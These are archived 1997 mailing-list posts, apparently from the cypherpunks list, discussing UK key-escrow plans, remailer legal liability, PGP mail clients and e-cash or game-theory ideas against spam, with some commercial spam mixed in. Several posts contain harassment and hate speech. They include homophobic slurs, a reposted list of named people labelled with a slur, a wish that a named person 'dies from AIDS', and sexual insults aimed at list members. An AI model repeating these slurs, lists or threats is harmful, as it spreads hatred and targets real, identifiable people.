and authorities through the requirement to communicate with central
government, and the tendency to go with the government standard and
then move on to the public through the services the DTI is discussing
providing to the public.  Offering the public the opportunity to
interact electronically with both local and central government.

Along with legislation to make digital signatures binding in law only
when signed by keys held in a TTP licensed key server, certified by a
TTP licensed CA, they probably figure they can achieve de-facto
status, while quietly outlawing enough functionality to make
competition possible.  (For example running a non-TTP licensed
commercial CA or key servers would be a criminal offense.)

That's their game plan as I understand it.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From sitesubmit at allvip.com  Tue Mar 25 18:22:53 1997
From: sitesubmit at allvip.com (sitesubmit at allvip.com)
Date: Tue, 25 Mar 1997 18:22:53 -0800 (PST)
Subject: Your Web Site in 200 Search Engines - $49
Message-ID: <199703260215.VAA00116@fp.allvip.com>


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 * To Remove:  Please hit reply & type "remove" in the subject.






From jer+ at andrew.cmu.edu  Tue Mar 25 20:16:28 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Tue, 25 Mar 1997 20:16:28 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <0nC_=a200YUh07u_00@andrew.cmu.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Greg Broiles <gbroiles at netbox.com> writes:
> I think there are two broad models of complaints/problems with remailers:
> 
> 1. The recipient is angry because they received a message they didn't like.
> (because it's an advertisement, or it's rude, or it's an image that their
> parents didn't like ..) 
> 
> 2. A third party is angry because the sender sent some information to the
> recipient which the third party thinks should not have been sent. (copyright,
> trademark, defamation, tortious interference with [prospective] contract,
> etc.) 
> 
> Your "contract" model (which looks like you really mean it to be a waiver of
> warranty/damages and/or an indemnification agreement) addresses (1) to the
> point of overkill, but it doesn't reach (2), because there's no contract with
> the third party, who is the party who's likely to be filing suit.
> (Indemnification by the sender might work, if you worded the contract
> correctly - but then you've got to abandon anonymity, and the value of
> indemnification from person you don't know whose assets/finances are unknown
> is pretty low.)
<snip>

Does anyone here actually know the requirements for common carrier
status? (A web search proved mostly uniformative, except that now I
know that Ohio University offers a course in CC Regualtions.) While my
intuitive notion of what a CC is does mean that ISP's are not good
CC's (ISP's want to not carry every newsgroup, want to not let people
have accounts for any old reason, etc), remailers seem like a perfect
candidate. For example, you could have a remailer that has one simple
rule: they only allow 10 messages a day from people who aren't other
anon. remailers. That way, the system isn't rejecting any traffic
"unreasonably," and gains some legal protection. If someone form, say,
a praticularly profitable religous institution calls up and says "We
belive that certain copywritten internal documets were sent through
your remailer." You say "Sorry, dude, I just pass the messages along."


I imagine that there would be problems keeping messages anonymous ir
regards to the feds, as I imagine that there would be some analogy to
phone taps, but legal protection from civilians is a step in the right
direction, and a few remailers in civilized jurisdictions would make
the feds' lives difficult.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMzii4Mkz/YzIV3P5AQFy4gMAqdL2XMwr34JoJspqkXgrUpfv77s4OwWb
S+l/AYQxQJD97eGyG9NgqglJ87tiIv9H9zzCdm3wYjA1syycQlMoI+rUQ0t/OMZz
mytZNRk3SmT2OBQ4zl2VvFfB6pqLm035
=7Ehu
-----END PGP SIGNATURE-----





From dlv at bwalk.dm.com  Tue Mar 25 20:40:25 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 20:40:25 -0800 (PST)
Subject: Why a U.K.-style law against key-signings won't fly in the U.S.
In-Reply-To: <v03007800af5e3614935f@[207.167.93.63]>
Message-ID: <saP64D11w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:
...
> If not, then the Constitution is a joke.

It is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From snow at smoke.suba.com  Tue Mar 25 21:16:50 1997
From: snow at smoke.suba.com (snow)
Date: Tue, 25 Mar 1997 21:16:50 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <199703260538.XAA01225@smoke.suba.com>


The Loon again:
> snow <snow at smoke.suba.com> writes:
> > The Loon wrote:
> > 	Well, at least she was better than your wife.
> Was your sister also better than your mother?

	Wouldn't know. My mother was old school catholic, My father was 
lucky _he_ got a peice of that.

	 





From ichudov at algebra.com  Tue Mar 25 21:43:05 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 25 Mar 1997 21:43:05 -0800 (PST)
Subject: PGP-integrated mail reader for Windoze?
Message-ID: <199703260539.XAA18351@manifold.algebra.com>


Hello,

Not being a Windows user, I wonder what do you think is the best
mail reading program for windows 95 that has some pgp integration? 
The mail criteria, pretty much, is ease of use and some degree of
fool proofness.

Thank you.

	- Igor.





From shamrock at netcom.com  Tue Mar 25 23:10:07 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 25 Mar 1997 23:10:07 -0800 (PST)
Subject: PGP-integrated mail reader for Windoze?
Message-ID: <3.0.32.19970325230859.00742154@netcom9.netcom.com>


At 11:39 PM 3/25/97 -0600, Igor Chudov @ home wrote:
>Hello,
>
>Not being a Windows user, I wonder what do you think is the best
>mail reading program for windows 95 that has some pgp integration? 
>The mail criteria, pretty much, is ease of use and some degree of
>fool proofness.

Eudora Pro 3.0 <http://www.eudora.com/> and PGPMail <http://www.pgp.com/>,
without a shadow of a doubt. Neither is free, but you sure get your money's
worth.




-- Lucky Green <mailto:shamrock at netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From toto at sk.sympatico.ca  Tue Mar 25 23:28:40 1997
From: toto at sk.sympatico.ca (Toto)
Date: Tue, 25 Mar 1997 23:28:40 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3338CFDE.7A6F@sk.sympatico.ca>


Adam Back wrote:
> 
> Here's one example for the problem I've been having:

> : >  A million monkeys operating under the pseudonym
> : >  "Thomas M.  McGhan" <tmcghan at gill-simpson.com> typed:
> :
> : actually, there are only 5737 of us...

> Do these appear to other people the same as above?

  I realized, recently, that the header problems could probably be
resolved in a short period of time by consulting the person who has had
to deal with this type of thing for many years, having hosted the
CypherPunks list for quite some time.
  I emailed John Gilmore, asking his advice, and he informed me that
he has run into this problem before, and would be happy to provide the
solution, on one condition.

  He wants one million monkeys to send 5737 messages to the list, saying
"John Gilmore is NOT a cocksucker."
  Then, he will provide the solution, and not a moment before.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From lucifer at dhp.com  Wed Mar 26 00:43:21 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 00:43:21 -0800 (PST)
Subject: Hash functions
Message-ID: <199703260843.DAA04765@dhp.com>


Timmy May's father, an idiot, stumbled across Timmy 
May's mother, an imbecile, when she had no clothes 
on. Nine months later she had a little moron.

         /\
      __/__\__
       | 00 |  Timmy May
      |:  \ :|
       | \_/|
        \__/






From weidai at eskimo.com  Wed Mar 26 01:03:34 1997
From: weidai at eskimo.com (Wei Dai)
Date: Wed, 26 Mar 1997 01:03:34 -0800 (PST)
Subject: game theoretic analysis of junk mail
Message-ID: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>


The junk mail problem (also known as spam) is well known to just about
everyone who receives e-mail.  There has also been many solutions
proposed.  Noticeably, the idea of having e-mail senders include ecash
payments with their mail has come up several times (I believe as the
result of independent discovery).  In order to evaluate the effectiveness
of this proposal, I will construct a game theoretic model of the
interaction between the sender and the recipient of an e-mail, and compare
the solutions with and without the ecash payment option.

The Model

Players: A - Sender, B - Recipient

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    B: Read mail?
               /   \
           no /     \ yes
             /       \
         (0,0)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (0,-c)  (s,r-c)

Assumptions: 
- sending the e-mail is costless to the sender
- c (the cost of reading a piece of e-mail) is known to both the sender
and the recipient.  
- s and r (the profit of the proposed deal to sender and receiver,
respectively, both assumed to be non-negative) are distributed according
to the probability density function f(s,r).  The sender knows s and r
before sending the e-mail, but the receiver does not learn s and r until
he reads the e-mail. 

Solution of the game:
To solve this game, we apply the method of backward induction.  In the
last stage of the game, B decides whether to accept A's offer.  Clearly he
always accepts since r-c >= -c.  Therefore, in the next to last stage, B
knows that the expected payoff if he reads the mail is the expected value
of r-c, E(r)-c, so he will read if E(r)-c > 0.  Finally, we come to A's
decision.  If A knows that B will not read, then he is indifferent between
sending and not sending.  However, if we assume that there is a small
probability that B will read and accept irrationally, then we can conclude
that A always sends the mail.

Conclusions

To summerize, if E(r) > c, B always reads the mail and accepts the offer,
otherwise B never reads.  A always sends regardless of the value of the
parameters.  Now we can see the outcome is not socially optimal.  For
example if E(r) < c, both A and B would be better off if A only sends when
r>c.

The above model is not very realistic.  The most unrealistic assumption is
that the sender knows the exactly value of his offer to the recipient.
However I believe the model captures the essence of the junk mail problem.
Next time I will analyze the proposed solution of adding the option of a
pre-payment.  For those who want to try it themselves, I give the game
tree here:

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s,r-c)







From gggklimt at hotmail.com  Wed Mar 26 01:44:02 1997
From: gggklimt at hotmail.com ( klimt  gustav)
Date: Wed, 26 Mar 1997 01:44:02 -0800 (PST)
Subject: A new classical cipher
Message-ID: <199703260943.BAA12645@f4.hotmail.com>


If answer please mail to : alexandermail at hotmail.com


A new classical cipher by Alexandre PUKALL :


This crypto is in Normal Pukall's Cipher mode 1 ( NPC mode 1 )
Try to break it !

ORISI / DERME / LOEEE / RNDNO / EEPRA / ITSUL / SEUOC / ELEDE /
OSEGE / IRUEU / LTUUA / LEARP / RACLO / ROPRA / IETST / AUDEN /
EUSMO / ROTTN / NNREF / NLEID / FEERE / EISNE / ROTO /

This crypto  is in Enhanced Pukall's Cipher mode 1 ( EPC mode 1
)
Try to break it !

REHUA / AVRLL / CELYU / CAICC / ATNOP / TGBEX / RMETE / LLSDO /
SEEQE / MACVD / EDFVE / ESENE / MLMPL / EICPU / TEIEM / NCPAP /
ELEHT / OPNRU / CAUEA / DFSNS / REANC / CCDLE / RISEU / USESA /
EIDTS / MLTOA / MIOGF / ULORD / STHUA / LEUSU / CANIL / AOMUP /
IEALS / BNXLD / RIUEI / EECOE / EITDN / GCLDE / JENKE / GOEAP /
ESLTD / IEZOR / SEELM / AO /









---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From SBN at Microsoft.com  Wed Mar 26 02:40:15 1997
From: SBN at Microsoft.com (Site Builder Network)
Date: Wed, 26 Mar 1997 02:40:15 -0800 (PST)
Subject: Your Site Builder Network Membership!
Message-ID: <c=US%a=_%p=HyperRadix%l=SOPHIA-970326103802Z-15110@sophia.hyperradix.com>


Welcome to Site Builder Network  - Guest Membership.

We went to your site(s) and were unable to find the Microsoft Internet
Explorer logo and link which would qualify you for level 1, or an
ActiveX control which would qualify you for Level 2.  You are currently
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password are listed below for your convenience.

Do you think you qualify for Level 1 or 2?  Would you like to?  Your
registration may have failed due to any of the following reasons:

You did not register the exact URL where
the IE logo and/or the ActiveX control are located.
====================================================
Our automated system can only check pages, not entire sites.  Please go
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'upgrade your membership' then enter your ID and password (which is
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Please send an .htm page, or your html code as a text file to
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========================================
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Password: writecode
========================================





From pgh at dhp.com  Wed Mar 26 04:14:01 1997
From: pgh at dhp.com (Pittsburgh Admin)
Date: Wed, 26 Mar 1997 04:14:01 -0800 (PST)
Subject: Exterminate all Faggots?
In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970326070926.17629A-100000@dhp.com>


On 15 Feb 1997, Against Moderation wrote:

> Dave Hayes <dave at kachina.jetcafe.org> writes:
> 
> > Don't you get it? Real censorship issues do not arise until someone
> > rocks the boat. It takes someone to rock the boat to make you aware
> > of your own prejudices of that nature. If it takes attacking
> > homosexuals and pissing them off enough to make them show their
> > true colors and begin censorship...so be it. Why be civil when that
> > civility serves to hide that which is ultimately against free speech?
> > 
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.
> 
> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.
> 

That is not true.  We just wish to exterminate all faggot control,
not the faggots themselves.  The faggots are well known ad the MOST
censorous group of all.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.
> 

Those of us who REALLY want free speech will exterminate all
faggot control over any and all usenet administration.






From pgh at dhp.com  Wed Mar 26 04:47:33 1997
From: pgh at dhp.com (Pittsburgh Admin)
Date: Wed, 26 Mar 1997 04:47:33 -0800 (PST)
Subject: Confirmed Usenet Faggots 1.01
In-Reply-To: <Pine.LNX.3.95.970219070331.7373J-100000@dhp.com>
Message-ID: <Pine.LNX.3.95.970326074437.17629F-100000@dhp.com>


On Wed, 19 Feb 1997, aga wrote:

> On Tue, 18 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Date: Tue, 18 Feb 97 00:32:19 EST
> > From: "Dr.Dimitri Vulis KOTM" <dlv at bwalk.dm.com>
> > Reply-To: freedom-knights at jetcafe.org
> > To: freedom-knights at jetcafe.org
> > Subject: Re: Is Thomas Lee Another Homosexual Net-Terrorist?
> > 
> > (Back from WashDC, not Phila)
> > 
> > "Dr. Jai Maharaj" <jai at aloha.com> writes:
> > 
> > > One Thomas Lee has been complaining that he has trouble
> > > with my posts in certain newsgroups (he will not say which
> > > posts in which newsgroups) and has caused one or more
> > > others to terrorize my ISP with false, unfounded
> > > complaints.  When I asked this Lee character directly
> > > about this, he answered:
> > >
> > > Thomas Lee <tfl at psp.co.uk> wrote at 04:49 pm on 2/16/97:
> > > >
> > > > In message <3.0.1.32.19970216062849.007a7860 at aloha.com>,
> > > > "Dr. Jai Maharaj" <jai at aloha.com> writes:
> > > >> . . . I will attempt to help you understand if you will let me know >>
> > > as to which posts in which newsgroup you are referring to.
> > >
> > > > Sorry Jai - If you don't know which groups you are off topic in,
> > > > I'm sure not going to help you.
> > > > Please stop mailing me.
> > > >--
> > > > Thomas Lee
> > > > tfl at psp.co.uk
> > >
> > > Evidently, Lee cannot substantiate his claims -- a behavior
> > > typical of many other members of the homosexual Lynch Mob
> > > which attempts to terrorize the Net.
> > 
> > I hope he dies from AIDS like Jason Durbin and all other Usenet faggots.
> > 
> > ---
> > 
> > Dr.Dimitri Vulis KOTM
> > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> > 
> 
> Thus we see that what is needed is a permanent list of -confirmed- 
> Usenet Faggots to be kept up and updated periodically.  So when you
> update this list, please do it by single digit increments, so that the
> next list is "UseNet Faggots 1.02" etc.
> 
> ======================================
> Confirmed Usenet Faggots 1.01
> 
> Peter Berger
> Jason Durbin
> J.D Falk
> Tim Skirvin
> Hardrock Llewellyn
> 
> ======================================
> 
> note these are *confirmed* Usenet Faggots.
> please add any more confirmed faggots that you know about.
> 
> thank you,
> aga.admin
> UseNet Freedom Council
> ufc at pgh.org
> 
> post to:
> 

alt.censorship, 
alt.fan.karl-malden.nose, 
alt.god.grubor, 
alt.underground, 
soc.culture.usa, 
news.groups, 
alt.usenet.admin, 
news.admin.censorship, 
mail.cypherpunks, 
alt.webgod, 
alt.wired, 
soc.men, 
news.admin.misc
 
 






From toto at sk.sympatico.ca  Wed Mar 26 04:56:19 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 26 Mar 1997 04:56:19 -0800 (PST)
Subject: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.32.19970325234406.00743cd4@netcom9.netcom.com>
Message-ID: <333910C8.483B@sk.sympatico.ca>


Lucky Green wrote:
> At 08:55 PM 3/25/97 -0800, Timothy C. May wrote:
> >At 4:07 PM -0800 3/25/97, Bill Stewart wrote:
> >
> >>>--Tim May, who was comped into the conference and who only paid for one
> >>>night at $130, preferring to drive in from elswhere and use the saved money
> >>>for something permanent, a new Stihl chainsaw.

> >>Just in case the Assault Rifle and pistols aren't enough?  :-)

> Stihl chain saws are *the best*.

  Stihl chainsaws are the choice of serial killers from Texas to Xenix.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From camcc at abraxis.com  Wed Mar 26 05:26:26 1997
From: camcc at abraxis.com (Alec)
Date: Wed, 26 Mar 1997 05:26:26 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:27 AM 3/26/97 -0600, Toto wrote:

|I emailed John Gilmore, asking his advice, and he informed me that
|he has run into this problem before, and would be happy to provide the
|solution, on one condition.
|
|  He wants one million monkeys to send 5737 messages to the list, saying
|"John Gilmore is NOT a cocksucker."
|  Then, he will provide the solution, and not a moment before.

OK, John, count me in. #1!

"John Gilmore is NOT a cocksucker."

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzkeTSKJGkNBIH7lAQHI3QP8DgE91P6O1jF00rBJkv0h2KiXwBf72sXo
xrrwRg36PLnYK0+6se5Ldh3mro4J25a7pNdErOlMCEEnkuLz2HHDApgF+bikzEw4
WvZa/3OlSAd1o54/HbMuHnfmZBfsLiEiYIzGGDVJsqTzjiUdqvYJpH3Caq605qT5
5uN7A3fhACc=
=Rh5N
-----END PGP SIGNATURE-----






From bryce at digicash.com  Wed Mar 26 06:30:28 1997
From: bryce at digicash.com (Bryce)
Date: Wed, 26 Mar 1997 06:30:28 -0800 (PST)
Subject: game theoretic analysis of junk mail
In-Reply-To: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>
Message-ID: <199703261430.PAA05866@digicash.com>



-----BEGIN PGP SIGNED MESSAGE-----

Wei Dai!  Long time no read!  I hope to see more articles from
you.


 A million monkeys operating under the pseudonym 
 "Wei Dai <weidai at eskimo.com>" typed:
> 
> The junk mail problem (also known as spam) is well known to just about
> everyone who receives e-mail.  There has also been many solutions
> proposed.  Noticeably, the idea of having e-mail senders include ecash
> payments with their mail has come up several times (I believe as the
> result of independent discovery).


I've suggested it several times.  I'm curious who else has 
proposed it.


<snip on game model of problem>


Nice!  I look forward to part 2.  (And part 3, where you go 
ahead and account for the cost of signing up for digital 
payment systems and the cost of managing each 
deposit/payment...)



I think the major problems with the proposal are first making 
digital payment systems ubiquitous and second making the
"unsolicited mail good faith deposit" idea ubiquitous.



Hm.  If we could somehow make the _idea_ gain.. er.. 
"currency" then the problem of spammers would cause more 
people to adopt digital payment systems.  _That_ would be
making a blessing from a curse!


Regards,

Zooko Journeyman, a.k.a. Bryce

PGP sig follows



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From toto at sk.sympatico.ca  Wed Mar 26 06:31:41 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 26 Mar 1997 06:31:41 -0800 (PST)
Subject: Anonymous mail as spam?
In-Reply-To: <199703261353.HAA00659@smoke.suba.com>
Message-ID: <3339331C.4C2A@sk.sympatico.ca>


snow wrote:
> > At 10:49 PM -0800 3/25/97, snow wrote:
> > >     What would I do if I were a spammer?
> > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > >your coin filter, and so you see the message, but will fail when you try
> > >to spend it, or clear it. What do I care, you've already seen the message.
> > I should always try to clear your coin and if I like your message send you
> > a new coin.  If I can't clear your coin, then your message goes to
> > /dev/null.
> 
>         This assumes a system where coins can be cleared in real time, and
> that people read thier mail while online. At least the second is not an
> assumption that can be bourn out.
> 
> > I hope those public key operations are cheap. :-)
> 
>         Or at least less than 10 cents.

  I believe that the 'money-point' for UCE (unsolicited commercial
email) spammers is somewhere around .02% for most of their offerings.
  In other words, they need to send out 10,000 emails and get a response
just to break even.

  So, to make it unprofitable for them to spam god and everybody, it 
would only take a small surcharge. i.e. a penny or less.
  I don't actually object to the average Jane/Joe trying to use the
'new medium' to turn a buck, since I don't think that they should
be denied the same opportunity as the mega-buck corporations.
  However, I would like to see the cost of operations for these types
of activities be substantial enough that they will be forced to adopt
a method of operations that will ensure that there is least a chance
that I will be interested in what they have to offer.

  As things stand, I could buy some UCE/spamming software and send out
my proverbial "How To Make $$$ Licking Your Own Dick" missives and 
probably make some money, since it would not cost me much to send my
messages to a few million people.
  If it was actually costing me even a small sum to send each message,
then I would no longer be able to afford indiscriminate spamming, but
would still have the option to use hardwork and intelligence to narrow
the field of recipients to only include those who might be interested
in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.

  I truly believe that the InterNet should be left accessible to those
without a lot of resources/cash, and that any effort to control abuse
through cost should be so minimal as to not interfere with the ability
of those who are currency-challenged to participate in its benefits.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From dlv at bwalk.dm.com  Wed Mar 26 07:05:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:06 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <3.0.1.32.19970326080209.007aec20@smtp1.abraxis.com>
Message-ID: <wXH74D18w165w@bwalk.dm.com>


Alec <camcc at abraxis.com> writes:

> At 01:27 AM 3/26/97 -0600, Toto wrote:
>
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.
>
> OK, John, count me in. #1!
>
> "John Gilmore is NOT a cocksucker."

John Gilmore IS a cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 26 07:05:15 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 07:05:15 -0800 (PST)
Subject: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <3.0.1.32.19970326073914.007c8100@pop.gate.net>
Message-ID: <oTH74D17w165w@bwalk.dm.com>


Joey Grasty <jgrasty at gate.net> writes:
> You can now download the latest version (version ALPHA1.3B) of the
> WinSock Remailer from my webpage at:
>
>   http://www.cyberpass.net/~winsock/
...
> The WinSock Remailer is the Windows version of a cypherpunk remailer.
> This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> A version for Windows NT will be released shortly.
...
> I need to know if you have success with any of the following untested
> configurations:
>
> a) Windows NT (now known not to work)

What exactly is the problem with NT (if any)?

You might want to take a look at the source code to the cancelbot I
published last year - it has some winsock calls that work fine under NT.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 26 08:32:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 08:32:47 -0800 (PST)
Subject: spam
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <V5H74D19w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:
> snow wrote:
> > > At 10:49 PM -0800 3/25/97, snow wrote:
> > > >     What would I do if I were a spammer?
> > > >     Submit the _same_ coin to every mailing I sent out. It will pass
> > > >your coin filter, and so you see the message, but will fail when you try
> > > >to spend it, or clear it. What do I care, you've already seen the messag
> > > I should always try to clear your coin and if I like your message send yo
> > > a new coin.  If I can't clear your coin, then your message goes to
> > > /dev/null.
> >
> >         This assumes a system where coins can be cleared in real time, and
> > that people read thier mail while online. At least the second is not an
> > assumption that can be bourn out.
> >
> > > I hope those public key operations are cheap. :-)
> >
> >         Or at least less than 10 cents.
>
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.
>
>   So, to make it unprofitable for them to spam god and everybody, it
> would only take a small surcharge. i.e. a penny or less.
>   I don't actually object to the average Jane/Joe trying to use the
> 'new medium' to turn a buck, since I don't think that they should
> be denied the same opportunity as the mega-buck corporations.
>   However, I would like to see the cost of operations for these types
> of activities be substantial enough that they will be forced to adopt
> a method of operations that will ensure that there is least a chance
> that I will be interested in what they have to offer.
>
>   As things stand, I could buy some UCE/spamming software and send out
> my proverbial "How To Make $$$ Licking Your Own Dick" missives and
> probably make some money, since it would not cost me much to send my
> messages to a few million people.

They don't know at the time of the mailing whether they'll make any
money off of it... Most of them seem like very stupid scams and probably
don't make any money. But they have enough of a hope to profit from
the mailing.

>   If it was actually costing me even a small sum to send each message,
> then I would no longer be able to afford indiscriminate spamming, but
> would still have the option to use hardwork and intelligence to narrow
> the field of recipients to only include those who might be interested
> in my offer, such as Bill Frantz, Jim Bell, and Bill Stewart.
>
>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.

That's a very good point, Toto. As you may recall, my domain, dm.com, stands
for D&M Consulting. There's another internet domain, dm1.com, which stands for
'direct marketing'. They've been sending out a lot of UCE. A number of
net.cops have been complaining to us and to PSI, our upstream connection,
because they lack the mental capacity to distinguish between 'dm' and 'dm1'.
PSI used to be a good provider when we started doing business with them 6
years ago; now they have new people who are totally clueless and obnoxious. It
goes like "We've been receiving a lot of complaints about the traffic
originating at your site". "These are false complaints." "Well, we've still
been receiving a lot of complaints." And "If you can prove that this traffic
did not originate with you, then we won't hold you responsible." [I'm
cc'ing this to the Rev. Steve Winter who's had similar problems with the
new management at PSI. What a bunch of assholes! ]

But, Toto, sending UCE is not without a cost. If you had what most people
have these days - a $19.95/month SLIP or PPP account, and you sent out a
few thousand commercial solicitations to random people, your account would
be closed within hours by most providers. It would then take your a little
time and effort to open another account. The nan-am folks have been trying
to come up with a blacklist of "spammers" who go from one provider to
another - I don't know how successful they've been. A lot of people try
the internet in general, or a particular provider, judge them to be full of
shit, and close down the account. Perhaps a few would rather go with a bang.

Clearly, most folks who send out unsolicited e-mail are not masochists
seeking to have their plugs pulled. Most of them hope to sell something.
(Most of them are scammers, but that's besides the point.) I also saw at
least one religious mass e-mail (God loves you etc), where monetary profit
was probably not the motive for sending it. I think it's safe to assume that
most folks who send out unsolicited mass e-mail don't want the recipient to
be annoyed and to complain to the sender's ISP [This may not be true about
the users of anonymous remailers! ].

A while back we discussed on the cp mailing list a spec for a system that
provide junk e-mailers for free with a list of (hashed) addresses that
should be removed from any mass e-mail lists. Is anyone interested in
talking about the technical aspects of such a system?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Wed Mar 26 08:44:39 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 26 Mar 1997 08:44:39 -0800 (PST)
Subject: Hash functions
In-Reply-To: <199703260843.DAA04765@dhp.com>
Message-ID: <Pine.A41.3.95.970326094043.82200A-100000@fn2.freenet.edmonton.ab.ca>


On Wed, 26 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis you need treatment.

> Timmy May's father, an idiot, stumbled across Timmy 
> May's mother, an imbecile, when she had no clothes 
> on. Nine months later she had a little moron.
> 
>          /\
>       __/__\__
>        | 00 |  Timmy May
>       |:  \ :|
>        | \_/|
>         \__/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From bryce at digicash.com  Wed Mar 26 08:47:05 1997
From: bryce at digicash.com (Bryce)
Date: Wed, 26 Mar 1997 08:47:05 -0800 (PST)
Subject: Anonymous mail as spam?
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <199703261646.RAA10051@digicash.com>



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Toto <toto at sk.sympatico.ca>" typed:
> 
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.


Actually I had a talk with a certain anti-spam ISP owner
recently, and she asserted that the spammers don't make
significant money from responses to their spams, but are
instead making their money from stupid newbie companies who 
pay them for advertising service.


It's an interesting proposition.  You would think, though, that
the spamsters might as well just take the stupid newbie
company's cash and then send a couple of token e-mail 
messages, if that's their business model.  :-)


